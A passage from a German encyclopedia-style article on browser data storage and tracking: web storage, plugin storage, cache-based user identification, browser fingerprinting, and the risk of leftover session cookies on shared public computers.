Der HTML5-Standard (der von den meisten modernen Webbrowsern bis zu einem gewissen Grad unterstützt wird) umfasst eine JavaScript-API namens Webspeicher, die zwei Arten der Speicherung ermöglicht: lokale Speicherung und Sitzungsspeicherung. Die lokale Speicherung verhält sich ähnlich wie dauerhafte Cookies, während sich die Sitzungsspeicherung ähnlich wie Sitzungscookies verhält, mit der Ausnahme, dass die Sitzungsspeicherung an die Lebensdauer einer einzelnen Registerkarte/eines einzelnen Fensters (auch bekannt als Seitensitzung) gebunden ist und nicht wie Sitzungscookies an eine ganze Browsersitzung. ⓘ

Der Internet Explorer unterstützt persistente Informationen im Browserverlauf, in den Favoriten des Browsers, in einem XML-Speicher ("Benutzerdaten") oder direkt in einer auf der Festplatte gespeicherten Webseite. ⓘ

Einige Webbrowser-Plugins enthalten ebenfalls Persistenzmechanismen. So verfügt Adobe Flash beispielsweise über Local Shared Object und Microsoft Silverlight über Isolated Storage. ⓘ

Browser-Cache

Der Browser-Cache kann auch dazu verwendet werden, Informationen zu speichern, die zur Verfolgung einzelner Benutzer verwendet werden können. Diese Technik macht sich die Tatsache zunutze, dass der Webbrowser die im Cache gespeicherten Ressourcen verwendet, anstatt sie von der Website herunterzuladen, wenn er feststellt, dass der Cache bereits die aktuellste Version der Ressource enthält. ⓘ

Eine Website könnte zum Beispiel eine JavaScript-Datei mit einem Code bereitstellen, der eine eindeutige Kennung für den Benutzer festlegt (z. B. var userId = 3243242;). Nach dem ersten Besuch des Benutzers wird diese Datei bei jedem Zugriff auf die Seite aus dem Cache geladen, anstatt vom Server heruntergeladen zu werden. Ihr Inhalt wird sich also nie ändern. ⓘ

Browser-Fingerabdruck

Ein Browser-Fingerabdruck ist eine Information, die über die Konfiguration eines Browsers gesammelt wird, wie z. B. Versionsnummer, Bildschirmauflösung und Betriebssystem, zum Zweck der Identifizierung. Fingerabdrücke können verwendet werden, um einzelne Benutzer oder Geräte ganz oder teilweise zu identifizieren, selbst wenn Cookies deaktiviert sind. ⓘ

Grundlegende Informationen über die Konfiguration von Webbrowsern werden seit langem von Webanalysediensten gesammelt, um den tatsächlichen menschlichen Webverkehr genau zu messen und verschiedene Formen des Klickbetrugs auszuschließen. Mit Hilfe von clientseitigen Skriptsprachen ist es möglich, viel mehr esoterische Parameter zu sammeln. Die Assimilation solcher Informationen in eine einzige Zeichenfolge stellt einen Geräte-Fingerabdruck dar. Im Jahr 2010 ermittelte die EFF eine Entropie von mindestens 18,1 Bits, die durch Browser-Fingerprinting möglich ist. Canvas Fingerprinting, eine neuere Technik, soll weitere 5,7 Bits hinzufügen. ⓘ

Sicherheit und Gefahren

Gefahr bei öffentlichen Internetzugängen

In Umgebungen, in denen sich mehrere Nutzer denselben Rechner teilen, etwa in Schulen oder Internet-Cafés, besteht die Gefahr, dass ein noch gültiger Sitzungs-Cookie vom nächsten Nutzer des Rechners verwendet wird. Um zu verhindern, dass eine fremde Person die eigene Sitzung fortsetzt, sollte man grundsätzlich vor dem Beenden des Browsers alle Cookies löschen oder eine entsprechende Browser-Einstellung nutzen. ⓘ